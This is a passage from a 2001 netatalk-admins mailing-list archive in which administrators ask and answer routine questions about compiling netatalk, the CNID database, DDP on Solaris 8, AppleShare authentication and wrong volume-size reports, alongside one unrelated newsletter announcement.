EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTA3MDkxOTEyNThaFw0wMjA3MDkxOTEyNTha
MEoxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJzAlBgkqhkiG9w0BCQEWGG1h
dHRoZXdAYXJ0cy51c3lkLmVkdS5hdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1H+o
MQ4xn5lDS/7p9rYboPW7grw13lXOj7Xisip37QttkX7Ga3ITBXnsAKnuFK3Z7GtILACBXil1
BngLBOd0AlW9zqQBXEOP9aODNJzBsTb3+tOHwQo6shcORKQArKEinG00SuwBdzxALU3KWT6E
yIUSvoz7q0PN4C8qUF3t00sCAwEAAaM1MDMwIwYDVR0RBBwwGoEYbWF0dGhld0BhcnRzLnVz
eWQuZWR1LmF1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAiJu7SNBXsW7I+ZH9
e2+0M47BmR3DxV31VbW9mKcwuamusWSJJEy5MAKZc8b0snRX/XDkCpM+av3VxDJX8T3rxOE0
siyCC6Tclu6wjwjw0goXK4N6Xhsz+qwIfdoclNZkqK5yInEZtc5ijKr0IPRgch79f35WP82C
SNHVYApmjzgwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT
EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp
dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG
9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcN
MDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES
MBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmlj
YXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNE
KYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu
2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQAB
o04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0T
AQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0
S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHC
CafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+p
lrgFPFL83eliA0gxggHdMIIB2QIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNV
BAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBS
U0EgMjAwMC44LjMwAgMFMYswCQYFKw4DAhoFAKCBmTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wMTExMTMwMDQzMDhaMCMGCSqGSIb3DQEJBDEWBBR/8L91
AaYa1l4p44Lb3oK8bWxx+TA6BgkqhkiG9w0BCQ8xLTArMAoGCCqGSIb3DQMHMA4GCCqGSIb3
DQMCAgIAgDANBggqhkiG9w0DAgIBQDANBgkqhkiG9w0BAQEFAASBgCotAoRPLFPJxllArVTG
PCEEvBu9/mPCTquE8coVoyxLBjFXmfnaHmMsYpF11hi3eo3RXyFohaMDFncAHYgf3ykETjQi
PSR5e0eglpx8oByBA+wMx86eoqUAvKvVEOz7+DemzI/TmCHAxH3Z/XnYo0W7UZpJiyL2hGNP
0YBfRRvr
--------------msAFF9F6584F3A431E5EE8F39E--


From netatalk.administrators-errors@umich.edu  Mon Nov 12 21:04:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA12017
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 21:04:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA16684
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 21:04:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA16666
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 21:04:22 -0500 (EST)
Received: from jeeves.local (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA16583
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 21:04:20 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id fAD247523492;
	Mon, 12 Nov 2001 18:04:09 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 12 Nov 2001 18:04:01 -0800
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
From: Steve Freitas <sflist@ihonk.com>
To: Matthew Geier <matthew@arts.usyd.edu.au>, <netatalk-admins@umich.edu>
Message-ID: <B815BF91.977C%sflist@ihonk.com>
In-Reply-To: <3BF06C9B.3EA4355A@arts.usyd.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> But then you cannot search for a DID with out traversing the entire
> file system looking for it.

Caching, eh? This way would be sweet because DIDs would be very durable.

Steve


From netatalk.administrators-errors@umich.edu  Tue Nov 13 21:56:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA12845
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Nov 2001 21:56:38 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA27670
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Nov 2001 21:56:38 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA27660
	for netatalk.administrators-members@umich.edu; Tue, 13 Nov 2001 21:56:38 -0500 (EST)
Received: from kuku.excite.com (kuku-rwcmta.excite.com [198.3.99.63])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA27634
	for <netatalk-admins@umich.edu>; Tue, 13 Nov 2001 21:56:37 -0500 (EST)
Received: from blizzard.excite.com ([199.172.148.158]) by kuku.excite.com
          (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP
          id <20011114025636.ERAB29973.kuku.excite.com@blizzard.excite.com>
          for <netatalk-admins@umich.edu>; Tue, 13 Nov 2001 18:56:36 -0800
Message-ID: <23765409.1005706596615.JavaMail.imail@blizzard.excite.com>
Date: Tue, 13 Nov 2001 18:56:32 -0800 (PST)
From: Joe Rhodes <JoeRhodes1974@excite.com>
To: netatalk-admins@umich.edu
Subject: CNID info and compile issues on SUSE 7.1 PPC
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Excite Inbox
X-Sender-Ip: 208.166.201.27


Hey Gang:
	I have what I hope isn't too stupid a question.  I've been trying to
compile the 1.5pre8 release ala the tarball on SourceForge.  While reading
the documentation, and some of the recent e-mails, I keep running across
references to a CNID database.  But I never quite get an explanation of what
it is or what it does.  I got a vague idea once that it might be usefull in
doing sherlock "find" searches, but even that was not for sure.  A look on
Apple's web site said that CNID's have something to do with apple file
meta-data, but I couldn't really understand more than that.

	Could someone explain what the option --enable-cnid-db does and why this
option might be (or might not be) advantageous?

	Also, being the currious cat that I am, I have been attemtpting to compile
with this option on an SUSE 7.1 PPC box.  When I run the configure script,
it barfs saying it cannot find the Berkeley DB directory.  However, I have
explicityly given it the --with-db3=/usr/local/BerkeleyDB.3.3 which is right
where my freshly installed version of the DB 3.3 lives, complete with
enclosed include and lib directories, among others.  Any clues?

	I have been able to get it to compile w/o the CNID option.  The atalkd
process will Seg fault when started, but afpd works fine, which is all I
require at the moment (for testing puposes).  I'll tackle that one later. 
My guess is it's just config options that need to be tweaked somehow.

	My "production" machine is a RedHat 7.1 box running 1.5pre7 on a Dual PIII.
I noticed some speed improvement with 1.5pre8 on my PPC box as opposed to
the pre7 on the same box, so I'm interested in moving the the pre8 on the RH
box once I know I can get it going with minimal fuss.

	And lest I forget, here's a huge hats off to all the people working on the
code.  I simply don't have the skill to write something like this.  I've
been using Netatalk now for about 2-3 years.  Man, has it gotten better! 
You all deserve a big round of applause.

Cheers!
-Joe Rhodes





_______________________________________________________
Send a cool gift with your E-Card
http://www.bluemountain.com/giftcenter/



From netatalk.administrators-errors@umich.edu  Wed Nov 14 06:09:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA00434
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Nov 2001 06:09:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA22493
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Nov 2001 06:09:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA22474
	for netatalk.administrators-members@umich.edu; Wed, 14 Nov 2001 06:09:28 -0500 (EST)
Received: from cefni.aber.ac.uk (cefni.aber.ac.uk [144.124.16.40])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA22421
	for <netatalk-admins@umich.edu>; Wed, 14 Nov 2001 06:09:27 -0500 (EST)
Received: from tigger.dcs.aber.ac.uk ([193.60.10.47] helo=aber.ac.uk)
	by cefni.aber.ac.uk with esmtp (Exim 3.21 #1)
	id 163xv3-0002V1-00
	for netatalk-admins@umich.edu; Wed, 14 Nov 2001 11:09:25 +0000
X-Mailer: exmh version 2.0.2 2/24/98
To: netatalk-admins@umich.edu
Subject: Re: Solaris 8 and DDP
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 14 Nov 2001 11:09:25 +0000
Message-ID: <24398.1005736165@aber.ac.uk>
From: Matthew Hallam <meh@aber.ac.uk>

So am I right in thinking that nobody has managed to get DDP working under 
Solaris 8 ? (only AppleTalk over IP)

Matt



From netatalk.administrators-errors@umich.edu  Wed Nov 14 06:36:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA01643
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Nov 2001 06:36:59 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA07394
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Nov 2001 06:36:59 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA07387
	for netatalk.administrators-members@umich.edu; Wed, 14 Nov 2001 06:36:59 -0500 (EST)
Received: from mail-r5.shlink.de (mail-r5.shlink.de [212.60.1.141])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id GAA07364
	for <netatalk-admins@umich.edu>; Wed, 14 Nov 2001 06:36:57 -0500 (EST)
Received: (qmail 23034 invoked from network); 14 Nov 2001 11:36:43 -0000
Received: from mail-r3.shlink.de (212.60.1.6)
	  by mail-r5.shlink.de with SMTP; 14 Nov 2001 11:36:43 -0000
Received: (qmail 26759 invoked from network); 14 Nov 2001 11:36:37 -0000
Received: from gate.pcshome.de (HELO kay) (212.60.3.38)
	  by mail-r3.shlink.de with SMTP; 14 Nov 2001 11:36:37 -0000
Reply-To: <k.galba@pcshome.de>
From: "Kay Galba" <k.galba@pcshome.de>
To: "Nigel Pegram" <editor.ac@churchesofchrist.org.au>,
        "Gus Holcomb" <gus_holcomb@wgbh.org>,
        "netatalk" <netatalk-admins@umich.edu>
Subject: AW: authentication protocols?
Date: Wed, 14 Nov 2001 12:36:29 +0100
Message-ID: <NEBBLOAADPIAMOADLLOFIELGCFAA.k.galba@pcshome.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Importance: Normal
In-Reply-To: <B816A1AE.2D86%editor.ac@churchesofchrist.org.au>
X-SHLINK-AntiVirus: Mail autoscanned by SHLINK-VirusScan

Seems to be a common problem.
We have the same Problem with :Server RedHat 7.1 Netatalk 1.5pre8; Clients
MacOS 9.2.1, AppleShare D1-3.9, AppleTalk D2-1.1.
Any Clue

___________________________
beantwortet bzw. weitergeleitet von:

Kay Galba/k.galba@pcshome.de

Grusse aus Hamburg
___________________________

-----Ursprungliche Nachricht-----
Von: Nigel Pegram [mailto:editor.ac@churchesofchrist.org.au]
Gesendet: Dienstag, 13. November 2001 00:09
An: Gus Holcomb; netatalk
Betreff: Re: authentication protocols?

What version of MacOS, on some earlier versions, e.g. 8.6 for us, we had to
upgrade the AppleShare client.

Nigel.

> From: Gus Holcomb <gus_holcomb@wgbh.org>
> Reply-To: Gus Holcomb <gus_holcomb@wgbh.org>
> Date: 12 Nov 2001 16:00:23 -0500
> To: <netatalk-admins@umich.edu>
> Subject: authentication protocols?
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 12 Nov 2001 16:03:12 -0500 (EST)
>
> I've gotten netatalk working with appleshare over IP, which is all i
really
> needed. So I'm happy with that. Unfortunatly, I can't get the
authentication
> schemes to work appropriatly.
>


From netatalk.administrators-errors@umich.edu  Wed Nov 14 07:27:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA03228
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Nov 2001 07:27:12 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA17230
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Nov 2001 07:27:12 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA17212
	for netatalk.administrators-members@umich.edu; Wed, 14 Nov 2001 07:27:11 -0500 (EST)
Received: from jump.tangro.de (cray-ymp.tangro.de [193.155.17.164])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA17166
	for <netatalk-admins@umich.edu>; Wed, 14 Nov 2001 07:27:10 -0500 (EST)
Received: from [193.155.17.160] (whizz.tangro.de [193.155.17.160])
	by jump.tangro.de (8.11.2/8.11.2) with ESMTP id fAECR6A10698;
	Wed, 14 Nov 2001 13:27:06 +0100 (CET)
Mime-Version: 1.0
X-Sender: hf@mail.tangro.de (Unverified)
Message-Id: <f05100300b81820ffd109@[193.155.17.160]>
In-Reply-To: <24398.1005736165@aber.ac.uk>
References: <24398.1005736165@aber.ac.uk>
Date: Wed, 14 Nov 2001 14:26:16 +0100
To: Matthew Hallam <meh@aber.ac.uk>
From: Hauke Fath <hf@tangro.de>
Subject: Re: Solaris 8 and DDP
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 11:09 Uhr +0000 14.11.2001, Matthew Hallam wrote:
>So am I right in thinking that nobody has managed to get DDP working under
>Solaris 8 ? (only AppleTalk over IP)

-- on sparc64, apparently.

2.1.4asun-pre39 works fine for me on a ss10 with Solarin 8.

	hauke
-- 
Hauke Fath                        tangro software components GmbH
                                         D-69115 Heidelberg
hf@tangro.de                       Ruf +49-6221-13336-0, Fax -21

From netatalk.administrators-errors@umich.edu  Wed Nov 14 10:12:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA10109
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Nov 2001 10:12:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA25738
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Nov 2001 10:12:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA25718
	for netatalk.administrators-members@umich.edu; Wed, 14 Nov 2001 10:12:36 -0500 (EST)
Received: from mail1.mx.voyager.net (mail1.mx.voyager.net [216.93.66.200])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA25660
	for <netatalk-admins@umich.edu>; Wed, 14 Nov 2001 10:12:35 -0500 (EST)
Received: from moe.ays.net ([209.81.165.249])
	by mail1.mx.voyager.net (8.11.6/8.10.2) with ESMTP id fAEFCVL91147
	for <netatalk-admins@umich.edu>; Wed, 14 Nov 2001 10:12:31 -0500 (EST)
Received: from localhost (stew@localhost)
	by moe.ays.net (8.9.3/8.8.6) with ESMTP id KAA31039
	for <netatalk-admins@umich.edu>; Wed, 14 Nov 2001 10:10:52 -0500
Date: Wed, 14 Nov 2001 10:10:42 -0500 (EST)
From: Stew Benedict <stewb@centurytel.net>
To: netatalk-admins@umich.edu
Subject: netatalk RPM build - Mandrake
In-Reply-To: <23765409.1005706596615.JavaMail.imail@blizzard.excite.com>
Message-ID: <Pine.LNX.4.10.10111140950240.30979-100000@moe.ays.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


As Mandrake is doing a PPC version now, and netatalk is important to those
folks, I'm trying to clean up the contributed RPM and roll it officially
into contribs. Before submitting, all RPM's are subjected to rpmlint and
the netatalk one gives these errors:

E: netatalk library-not-linked-against-libc
/usr/lib/atalk/uams/uams_dhx_passwd.so
E: netatalk library-not-linked-against-libc
/usr/lib/atalk/uams/uams_guest.so
E: netatalk library-not-linked-against-libc
/usr/lib/atalk/uams/uams_passwd.so
E: netatalk library-not-linked-against-libc
/usr/lib/atalk/uams/uams_pgp.so
E: netatalk library-not-linked-against-libc
/usr/lib/atalk/uams/uams_randnum.so

Does anyone have any idea what this means and what I can do to rectify it?
I tried using %make macro instead of plain make, but that doesn't seem to
do it either.

thanks,
Stew Benedict



From netatalk.administrators-errors@umich.edu  Wed Nov 14 10:40:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA11911
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Nov 2001 10:40:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA23935
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Nov 2001 10:40:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA23926
	for netatalk.administrators-members@umich.edu; Wed, 14 Nov 2001 10:40:43 -0500 (EST)
Received: from hirogen.kabelfoon.nl (hirogen.kabelfoon.nl [62.45.45.69])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA23898
	for <netatalk-admins@umich.edu>; Wed, 14 Nov 2001 10:40:42 -0500 (EST)
Received: from kabelfoon.nl (kf-pij-tg01-450.dial.kabelfoon.nl [62.45.89.196])
	by hirogen.kabelfoon.nl (Postfix) with ESMTP
	id EB68B7D63; Wed, 14 Nov 2001 16:40:35 +0100 (CET)
Message-ID: <2713114-2200111314154127550@kabelfoon.nl>
X-EM-Version: 6, 0, 1, 0
X-EM-Registration: #00F06206106618006920
X-Priority: 3
Reply-To: jan.van.de.kraats@kabelfoon.nl
To: "november" <jan.van.de.kraats@kabelfoon.nl>
From: "J A van de Kraats" <jan.van.de.kraats@kabelfoon.nl>
Subject: European Water Management News
Date: Wed, 14 Nov 2001 16:41:27 +0100
MIME-Version: 1.0
Content-type: text/plain; charset="windows-1252"

Dear Colleague,
 
Our journal, European Water Management, the official journal of the European Water Association (EWA), has started a free e-mail news service.

If you subscribe, you get weekly a mail with press releases, etc. concerning water (management, research, policy, industry, etc.).

It is completely free for all people working in the water sector in its broadest sense.

Older issues of the news are available at www.riza.nl (click on European Water Management News). You can visit this site to get an idea what you will get and if this is useful for you. You can subscribe via this site, but you can subscribe too by sending me at jan.van.de.kraats@kabelfoon.nl a mail with in the subject line "Subscribe European Water Management News."

Unsubscribing later is as easy, just send me a mail with "Unsubscribe European Water Management News" in the subject line.
I am looking forward to your answer.
 
Best regards,
Jan van de Kraats
Institute for Inland Water Treatment and Waste Water Treatment (RIZA)



European Water Management
Official Journal of the European Water Association (EWA)
Editor-in-Chief
Drs J A van de Kraats
Institute for Inland Water Management
and Waste Water Treatment (RIZA)
PO Box 17
8200 AA Lelystad
The Netherlands
Tel +31 320 298 793
Fax +31 320 280883
E-mail j.vdkraats@riza.rws.minvenw.nl
Private Fax +15308844520
Private E-mail jan.van.de.kraats@kabelfoon.nl





Drs Jan A van de Kraats
Editor-in-Chief European Water Management
INSTITUTE FOR INLAND WATER MANAGEMENT
AND WASTE WATER TREATMENT(RIZA)
Lelystad,
The Netherlands
jan.van.de.kraats@kabelfoon.nl
www.riza.nl


From netatalk.administrators-errors@umich.edu  Wed Nov 14 10:41:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA11944
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Nov 2001 10:41:21 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA14358
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Nov 2001 10:41:20 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA14344
	for netatalk.administrators-members@umich.edu; Wed, 14 Nov 2001 10:41:20 -0500 (EST)
Received: from wizard.wgbh.org (wizard.wgbh.org [198.147.175.86])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA14313
	for <netatalk-admins@umich.edu>; Wed, 14 Nov 2001 10:41:19 -0500 (EST)
Received: from 10.125.10.23 ([10.125.10.23])
	by wizard.wgbh.org (8.9.3/8.8.7) with SMTP id KAA14208
	for <netatalk-admins@umich.edu>; Wed, 14 Nov 2001 10:38:15 -0500
Date: 14 Nov 2001 10:46:21 -0500
Message-ID: <-1206387717gus_holcomb@wgbh.org>
Sender: Gus Holcomb <gus_holcomb@wgbh.org>
From: Gus Holcomb <gus_holcomb@wgbh.org>
Subject: disk size issues?
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.0.4 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gus Holcomb <gus_holcomb@wgbh.org>
Content-Type: text/plain; charset="US-Ascii"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA11944

Is anyone having problems with a mounted netatalk volume showing way, way, way, too much space available? (1,576,235,235 GB available) 

suggestions?

-Gus Holcomb

Solaris 8 on a netra 220r, mounted by macos 9.2. netatalk 1.5pre8


From netatalk.administrators-errors@umich.edu  Wed Nov 14 11:36:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA14687
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Nov 2001 11:36:15 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA26534
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Nov 2001 11:36:15 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA26522
	for netatalk.administrators-members@umich.edu; Wed, 14 Nov 2001 11:36:15 -0500 (EST)
Received: from wizard.wgbh.org (wizard.wgbh.org [198.147.175.86])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA26264
	for <netatalk-admins@umich.edu>; Wed, 14 Nov 2001 11:36:13 -0500 (EST)
Received: from 10.125.10.23 ([10.125.10.23])
	by wizard.wgbh.org (8.9.3/8.8.7) with SMTP id LAA07195
	for <netatalk-admins@umich.edu>; Wed, 14 Nov 2001 11:36:18 -0500
Date: 14 Nov 2001 11:41:18 -0500
Message-ID: <-1206384421gus_holcomb@wgbh.org>
Sender: Gus Holcomb <gus_holcomb@wgbh.org>
From: Gus Holcomb <gus_holcomb@wgbh.org>
Subject: new volume size issues
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.0.4 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gus Holcomb <gus_holcomb@wgbh.org>
Content-Type: text/plain; charset="US-Ascii"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA14687

With a night's passing as the only change. A new issue has arisen.

Now my volumes when mounted show "- available" and attempting to copy any files to the volumes returns an error that states 

"There is not enough room on the disk "Home Directories" to copy "untitled folder" (an additional 1,161,842,687.99 GB is needed)."

Help?

Thanks,
-Gus Holcomb

netra 220r, Solaris 8, netatalk 15pre8


From netatalk.administrators-errors@umich.edu  Wed Nov 14 19:18:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA08563
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Nov 2001 19:18:25 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA03611
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Nov 2001 19:18:25 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA03594
	for netatalk.administrators-members@umich.edu; Wed, 14 Nov 2001 19:18:24 -0500 (EST)
Received: from puma.qimr.edu.au (puma.qimr.edu.au [152.98.32.20])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA03521
	for <netatalk-admins@umich.edu>; Wed, 14 Nov 2001 19:18:21 -0500 (EST)
Received: from qimr.edu.au (drill [152.98.32.83])
	by puma.qimr.edu.au (8.9.3/8.9.3) with ESMTP id KAA07062
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 10:13:58 +1000 (EST)
Message-ID: <3BF30A8B.29ABDE89@qimr.edu.au>
Date: Thu, 15 Nov 2001 10:21:31 +1000
From: Xiaping Lin <xiapingL@qimr.edu.au>
Organization: QIMR
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: [Fwd: Solaris 8 and DDP]
